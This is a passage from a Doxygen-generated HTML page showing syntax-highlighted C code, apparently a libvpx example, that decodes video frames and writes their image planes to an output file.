#009900;">(</span>stdout<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//</span> <span style="color: #808080; font-style: italic;">/* Decode the frame */</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>vpx_codec_decode<span style="color: #009900;">(</span><span style="color: #339933;">&</span>codec<span style="color: #339933;">,</span> frame<span style="color: #339933;">,</span> frame_sz<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> die_codec<span style="color: #009900;">(</span><span style="color: #339933;">&</span>codec<span style="color: #339933;">,</span> <span style="color: #ff0000;">"Failed to decode frame"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* Write decoded data to disk */</span> <span style="color: #b1b100;">while</span><span style="color: #009900;">(</span><span style="color: #009900;">(</span>img <span style="color: #339933;">=</span> vpx_codec_get_frame<span style="color: #009900;">(</span><span style="color: #339933;">&</span>codec<span style="color: #339933;">,</span> <span style="color: #339933;">&</span>iter<span style="color: #009900;">)</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> plane<span style="color: #339933;">,</span> y<span style="color: #339933;">;</span> <span style="color: #b1b100;">for</span><span style="color: #009900;">(</span>plane<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> plane <span style="color: #339933;"><</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">;</span> plane<span style="color: #339933;">++</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>buf <span style="color: #339933;">=</span>img<span style="color: #339933;">-></span>planes<span style="color: #009900;">[</span>plane<span style="color: #009900;">]</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">for</span><span style="color: #009900;">(</span>y<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> y <span style="color: #339933;"><</span> <span style="color: #009900;">(</span>plane <span style="color: #339933;">?</span> <span style="color: #009900;">(</span>img<span style="color: #339933;">-></span>d_h <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">)</span> <span style="color: #339933;">>></span> <span style="color: #0000dd;">1</span> <span style="color: #339933;">:</span> img<span style="color: #339933;">-></span>d_h<span style="color: #009900;">)</span><span style="color: #339933;">;</span> y<span style="color: #339933;">++</span><span style="color: #009900;">)</span> <span style="color: #009900;">{</span> <span style="color: #009900;">(</span><span style="color: #993333;">void</span><span style="color: #009900;">)</span> fwrite<span style="color: #009900;">(</span>buf<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #009900;">(</span>plane <span style="color: #339933;">?</span> <span style="color: #009900;">(</span>img<span style="color: #339933;">-></span>d_w <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">)</span> <span style="color: #339933;">>></span> <span style="color: #0000dd;">1</span> <span style="color: #339933;">:</span> img<span style="color: #339933;">-></span>d_w<span style="color: #009900;">)</span><span style="color: #339933;">,</span> outfile<span style="color: #009900;">)</span><span style="color: #339933;">;</span> buf <span style="color: #339933;">+=</span> img<span style="color: #339933;">-></span>stride<span style="color: #009900;">[</span>plane<span style="color: #009900;">]</span><span style="color: #339933;">;</span> <span style="color: #009900;">}</span> <span style="color: #009900;">}</span> <span style="color: #009900;">}</span> <span style="color: #009900;">}</span> <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">(</span><span style="color: #ff0000;">"Processed %d frames.<span style="color: #000099; font-weight: bold;">\n</span>"</span><span style="color: #339933;">,</span>frame_cnt<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">(</span>vpx_codec_destroy<span style="color: #009900;">(</span><span style="color: #339933;">&</span>codec<span style="color: #009900;">)</span><span style="color: #009900;">)</span> die_codec<span style="color: #009900;">(</span><span style="color: #339933;">&</span>codec<span style="color: #339933;">,</span> <span style="color: #ff0000;">"Failed to destroy codec"</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> fclose<span style="color: #009900;">(</span>outfile<span style="color: #009900;">)</span><span style="color: #339933;">;</span> fclose<span style="color: #009900;">(</span>infile<span style="color: #009900;">)</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">return</span> EXIT_SUCCESS<span style="color: #339933;">;</span> <span style="color: #009900;">}</span></pre> </div></div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.5 </small></address> </body> </html>
Close